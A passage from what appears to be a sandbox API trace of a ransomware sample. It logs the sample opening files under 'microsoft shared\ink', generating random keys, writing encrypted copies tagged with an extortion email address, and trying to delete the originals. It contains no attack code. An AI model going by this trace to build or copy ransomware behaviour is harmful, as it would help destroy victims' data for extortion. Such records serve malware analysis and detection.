[0121.405] GetLastError () returned 0x0 [0121.405] GetLastError () returned 0x0 [0121.405] GetCurrentThreadId () returned 0x9b0 [0121.405] GetLastError () returned 0x0 [0121.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0121.405] GetLastError () returned 0x0 [0121.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0121.405] GetLastError () returned 0x0 [0121.405] GetLastError () returned 0x0 [0121.405] GetLastError () returned 0x0 [0121.405] GetCurrentThreadId () returned 0x9b0 [0121.405] GetLastError () returned 0x0 [0121.406] GetLastError () returned 0x0 [0121.406] GetLastError () returned 0x0 [0121.406] GetLastError () returned 0x0 [0121.406] GetLastError () returned 0x0 [0121.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.406] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d8)) returned 1 [0121.406] GetLastError () returned 0x0 [0121.406] GetCurrentThreadId () returned 0x9b0 [0121.406] GetLastError () returned 0x0 [0121.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0121.407] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a1c4 | out: pbBuffer=0x366a1c4) returned 1 [0121.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0121.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0121.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0121.407] GetCurrentThreadId () returned 0x9b0 [0121.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0121.407] GetLastError () returned 0x0 [0121.407] GetLastError () returned 0x0 [0121.407] GetLastError () returned 0x0 [0121.408] GetLastError () returned 0x0 [0121.408] GetCurrentThreadId () returned 0x9b0 [0121.408] GetLastError () returned 0x0 [0121.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea520 | out: hHeap=0x2ad0000) returned 1 [0121.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0121.408] GetCurrentThreadId () returned 0x9b0 [0121.408] GetLastError () returned 0x0 [0121.408] GetLastError () returned 0x0 [0121.408] GetLastError () returned 0x0 [0121.408] GetLastError () returned 0x0 [0121.408] GetCurrentThreadId () returned 0x9b0 [0121.409] GetLastError () returned 0x0 [0121.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea278 | out: hHeap=0x2ad0000) returned 1 [0121.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba80 [0121.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a51d8 | out: hHeap=0x2ad0000) returned 1 [0121.409] GetLastError () returned 0x0 [0121.409] GetLastError () returned 0x0 [0121.409] GetLastError () returned 0x0 [0121.409] GetLastError () returned 0x0 [0121.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abaf0 [0121.409] GetLastError () returned 0x0 [0121.409] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.410] GetFileType (hFile=0x39c) returned 0x1 [0121.410] GetLastError () returned 0x0 [0121.410] GetCurrentThreadId () returned 0x9b0 [0121.410] GetLastError () returned 0x0 [0121.410] GetFileType (hFile=0x39c) returned 0x1 [0121.410] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.410] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.410] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.410] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.410] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.411] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.411] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.411] GetLastError () returned 0x0 [0121.411] GetCurrentThreadId () returned 0x9b0 [0121.411] GetLastError () returned 0x0 [0121.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0121.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0121.411] GetLastError () returned 0x0 [0121.411] GetLastError () returned 0x0 [0121.411] GetLastError () returned 0x0 [0121.411] GetLastError () returned 0x0 [0121.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0121.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abaf0 [0121.412] GetLastError () returned 0x0 [0121.412] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.540] GetFileType (hFile=0x3ac) returned 0x1 [0121.540] GetLastError () returned 0x0 [0121.540] GetCurrentThreadId () returned 0x9b0 [0121.540] GetLastError () returned 0x0 [0121.540] GetFileType (hFile=0x3ac) returned 0x1 [0121.541] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.541] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.541] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.541] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.541] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.541] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.541] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.541] GetLastError () returned 0x0 [0121.541] GetCurrentThreadId () returned 0x9b0 [0121.541] GetLastError () returned 0x0 [0121.541] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0121.541] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0121.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0121.542] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.542] GetLastError () returned 0x0 [0121.542] GetLastError () returned 0x0 [0121.542] GetCurrentThreadId () returned 0x9b0 [0121.542] GetLastError () returned 0x0 [0121.542] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0121.542] GetLastError () returned 0x0 [0121.542] GetLastError () returned 0x0 [0121.542] GetCurrentThreadId () returned 0x9b0 [0121.542] GetLastError () returned 0x0 [0121.542] GetLastError () returned 0x0 [0121.546] GetLastError () returned 0x0 [0121.546] GetCurrentThreadId () returned 0x9b0 [0121.547] GetLastError () returned 0x0 [0121.547] GetCurrentThreadId () returned 0x9b0 [0121.547] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x9f5) returned 0x36f8548 [0121.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaf0 [0121.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0121.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x9f8) returned 0x3188678 [0121.547] GetLastError () returned 0x0 [0121.547] GetLastError () returned 0x0 [0121.547] GetLastError () returned 0x0 [0121.547] GetLastError () returned 0x0 [0121.548] GetCurrentThreadId () returned 0x9b0 [0121.548] GetLastError () returned 0x0 [0121.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3188678 | out: hHeap=0x2ad0000) returned 1 [0121.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0121.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0121.548] GetLastError () returned 0x0 [0121.548] GetLastError () returned 0x0 [0121.548] GetCurrentThreadId () returned 0x9b0 [0121.548] GetLastError () returned 0x0 [0121.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3184a48 | out: hHeap=0x2ad0000) returned 1 [0121.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8f48 [0121.549] GetLastError () returned 0x0 [0121.549] GetLastError () returned 0x0 [0121.549] GetCurrentThreadId () returned 0x9b0 [0121.549] GetLastError () returned 0x0 [0121.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8f48 | out: hHeap=0x2ad0000) returned 1 [0121.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.549] GetLastError () returned 0x0 [0121.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.550] CloseHandle (hObject=0x3ac) returned 1 [0121.550] GetLastError () returned 0x0 [0121.550] GetCurrentThreadId () returned 0x9b0 [0121.550] GetLastError () returned 0x0 [0121.551] GetLastError () returned 0x0 [0121.551] CloseHandle (hObject=0x39c) returned 1 [0121.551] GetLastError () returned 0x0 [0121.551] GetCurrentThreadId () returned 0x9b0 [0121.551] GetLastError () returned 0x0 [0121.551] GetCurrentThreadId () returned 0x9b0 [0121.551] GetLastError () returned 0x0 [0121.551] GetLastError () returned 0x0 [0121.551] GetLastError () returned 0x0 [0121.551] GetLastError () returned 0x0 [0121.552] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0 [0121.552] GetLastError () returned 0x5 [0121.552] GetCurrentThreadId () returned 0x9b0 [0121.552] GetLastError () returned 0x5 [0121.552] GetLastError () returned 0x5 [0121.552] GetLastError () returned 0x5 [0121.552] GetLastError () returned 0x5 [0121.552] LocalFree (hMem=0x1053ad0) returned 0x0 [0121.552] GetLastError () returned 0x5 [0121.553] GetLastError () returned 0x5 [0121.553] GetLastError () returned 0x5 [0121.553] GetLastError () returned 0x5 [0121.553] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml", lpFilePart=0x9bada4*="ipstr.xml") returned 0x3c [0121.553] GetCurrentThreadId () returned 0x9b0 [0121.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0121.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0121.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0121.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0121.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea368 [0121.553] GetLastError () returned 0x0 [0121.554] GetLastError () returned 0x0 [0121.554] GetLastError () returned 0x0 [0121.561] GetLastError () returned 0x0 [0121.562] GetCurrentThreadId () returned 0x9b0 [0121.562] GetLastError () returned 0x0 [0121.562] GetCurrentThreadId () returned 0x9b0 [0121.562] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea368 | out: hHeap=0x2ad0000) returned 1 [0121.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea430 [0121.562] GetLastError () returned 0x0 [0121.562] GetLastError () returned 0x0 [0121.562] GetLastError () returned 0x0 [0121.562] GetLastError () returned 0x0 [0121.562] GetCurrentThreadId () returned 0x9b0 [0121.563] GetLastError () returned 0x0 [0121.563] GetLastError () returned 0x0 [0121.563] GetLastError () returned 0x0 [0121.563] GetLastError () returned 0x0 [0121.563] GetLastError () returned 0x0 [0121.563] GetCurrentThreadId () returned 0x9b0 [0121.563] GetLastError () returned 0x0 [0121.563] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea430 | out: hHeap=0x2ad0000) returned 1 [0121.563] GetLastError () returned 0x0 [0121.563] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0121.563] GetLastError () returned 0x0 [0121.564] GetLastError () returned 0x0 [0121.564] GetLastError () returned 0x0 [0121.564] GetCurrentThreadId () returned 0x9b0 [0121.564] GetLastError () returned 0x0 [0121.564] GetCurrentThreadId () returned 0x9b0 [0121.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8aa28 [0121.564] GetLastError () returned 0x0 [0121.564] GetLastError () returned 0x0 [0121.564] GetLastError () returned 0x0 [0121.564] GetLastError () returned 0x0 [0121.564] GetCurrentThreadId () returned 0x9b0 [0121.565] GetLastError () returned 0x0 [0121.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa28 | out: hHeap=0x2ad0000) returned 1 [0121.565] GetLastError () returned 0x0 [0121.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0121.565] GetLastError () returned 0x0 [0121.565] GetLastError () returned 0x0 [0121.565] GetLastError () returned 0x0 [0121.565] GetCurrentThreadId () returned 0x9b0 [0121.565] GetLastError () returned 0x0 [0121.565] GetLastError () returned 0x0 [0121.565] GetLastError () returned 0x0 [0121.566] GetLastError () returned 0x0 [0121.566] GetLastError () returned 0x0 [0121.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0121.566] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa0)) returned 1 [0121.566] GetLastError () returned 0x0 [0121.566] GetCurrentThreadId () returned 0x9b0 [0121.566] GetLastError () returned 0x0 [0121.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0121.566] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a05c | out: pbBuffer=0x366a05c) returned 1 [0121.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0121.567] GetCurrentThreadId () returned 0x9b0 [0121.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0121.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0121.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea3b8 [0121.567] GetLastError () returned 0x0 [0121.567] GetLastError () returned 0x0 [0121.567] GetLastError () returned 0x0 [0121.567] GetLastError () returned 0x0 [0121.567] GetCurrentThreadId () returned 0x9b0 [0121.567] GetLastError () returned 0x0 [0121.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea3b8 | out: hHeap=0x2ad0000) returned 1 [0121.568] GetCurrentThreadId () returned 0x9b0 [0121.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea110 [0121.568] GetLastError () returned 0x0 [0121.568] GetLastError () returned 0x0 [0121.568] GetLastError () returned 0x0 [0121.568] GetLastError () returned 0x0 [0121.568] GetCurrentThreadId () returned 0x9b0 [0121.568] GetLastError () returned 0x0 [0121.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea110 | out: hHeap=0x2ad0000) returned 1 [0121.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba80 [0121.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5360 | out: hHeap=0x2ad0000) returned 1 [0121.569] GetCurrentThreadId () returned 0x9b0 [0121.569] GetLastError () returned 0x0 [0121.569] GetLastError () returned 0x0 [0121.569] GetLastError () returned 0x0 [0121.569] GetLastError () returned 0x0 [0121.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0121.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ab48f8 [0121.569] GetLastError () returned 0x0 [0121.569] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.571] GetFileType (hFile=0x39c) returned 0x1 [0121.571] GetLastError () returned 0x0 [0121.571] GetCurrentThreadId () returned 0x9b0 [0121.571] GetLastError () returned 0x0 [0121.571] GetFileType (hFile=0x39c) returned 0x1 [0121.572] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.572] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.572] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.572] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.572] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.572] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.572] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.572] GetLastError () returned 0x0 [0121.572] GetCurrentThreadId () returned 0x9b0 [0121.572] GetLastError () returned 0x0 [0121.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48f8 | out: hHeap=0x2ad0000) returned 1 [0121.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0121.572] GetLastError () returned 0x0 [0121.573] GetLastError () returned 0x0 [0121.573] GetLastError () returned 0x0 [0121.573] GetLastError () returned 0x0 [0121.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0121.573] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ab48f8 [0121.573] GetLastError () returned 0x0 [0121.573] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.574] GetFileType (hFile=0x3ac) returned 0x1 [0121.574] GetLastError () returned 0x0 [0121.574] GetCurrentThreadId () returned 0x9b0 [0121.574] GetLastError () returned 0x0 [0121.574] GetFileType (hFile=0x3ac) returned 0x1 [0121.574] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.574] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.574] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.574] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.574] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.574] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.574] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.575] GetLastError () returned 0x0 [0121.575] GetCurrentThreadId () returned 0x9b0 [0121.575] GetLastError () returned 0x0 [0121.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48f8 | out: hHeap=0x2ad0000) returned 1 [0121.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de750 | out: hHeap=0x2ad0000) returned 1 [0121.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0121.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0121.575] GetLastError () returned 0x0 [0121.575] GetLastError () returned 0x0 [0121.575] GetCurrentThreadId () returned 0x9b0 [0121.575] GetLastError () returned 0x0 [0121.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.576] GetLastError () returned 0x0 [0121.576] GetLastError () returned 0x0 [0121.576] GetCurrentThreadId () returned 0x9b0 [0121.576] GetLastError () returned 0x0 [0121.576] GetLastError () returned 0x0 [0121.578] GetLastError () returned 0x0 [0121.578] GetCurrentThreadId () returned 0x9b0 [0121.578] GetLastError () returned 0x0 [0121.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0121.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xab8) returned 0x382cb08 [0121.579] GetLastError () returned 0x0 [0121.579] GetLastError () returned 0x0 [0121.579] GetLastError () returned 0x0 [0121.579] GetLastError () returned 0x0 [0121.579] GetCurrentThreadId () returned 0x9b0 [0121.579] GetLastError () returned 0x0 [0121.579] GetCurrentThreadId () returned 0x9b0 [0121.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xab5) returned 0x3889a18 [0121.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb08 | out: hHeap=0x2ad0000) returned 1 [0121.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0121.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0121.580] GetLastError () returned 0x0 [0121.580] GetLastError () returned 0x0 [0121.580] GetCurrentThreadId () returned 0x9b0 [0121.580] GetLastError () returned 0x0 [0121.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3889a18 | out: hHeap=0x2ad0000) returned 1 [0121.580] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f9008 [0121.580] GetLastError () returned 0x0 [0121.580] GetLastError () returned 0x0 [0121.580] GetCurrentThreadId () returned 0x9b0 [0121.580] GetLastError () returned 0x0 [0121.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f9008 | out: hHeap=0x2ad0000) returned 1 [0121.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.581] GetLastError () returned 0x0 [0121.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.582] CloseHandle (hObject=0x3ac) returned 1 [0121.582] GetLastError () returned 0x0 [0121.582] GetCurrentThreadId () returned 0x9b0 [0121.582] GetLastError () returned 0x0 [0121.582] GetLastError () returned 0x0 [0121.582] CloseHandle (hObject=0x39c) returned 1 [0121.582] GetLastError () returned 0x0 [0121.582] GetCurrentThreadId () returned 0x9b0 [0121.583] GetLastError () returned 0x0 [0121.583] GetLastError () returned 0x0 [0121.583] GetLastError () returned 0x0 [0121.583] GetLastError () returned 0x0 [0121.583] GetLastError () returned 0x0 [0121.583] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0 [0121.583] GetLastError () returned 0x5 [0121.583] GetCurrentThreadId () returned 0x9b0 [0121.583] GetLastError () returned 0x5 [0121.583] GetLastError () returned 0x5 [0121.584] GetLastError () returned 0x5 [0121.584] GetLastError () returned 0x5 [0121.584] LocalFree (hMem=0x1053c70) returned 0x0 [0121.584] GetLastError () returned 0x5 [0121.584] GetLastError () returned 0x5 [0121.584] GetLastError () returned 0x5 [0121.584] GetLastError () returned 0x5 [0121.584] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll", lpFilePart=0x9bada4*="micaut.dll") returned 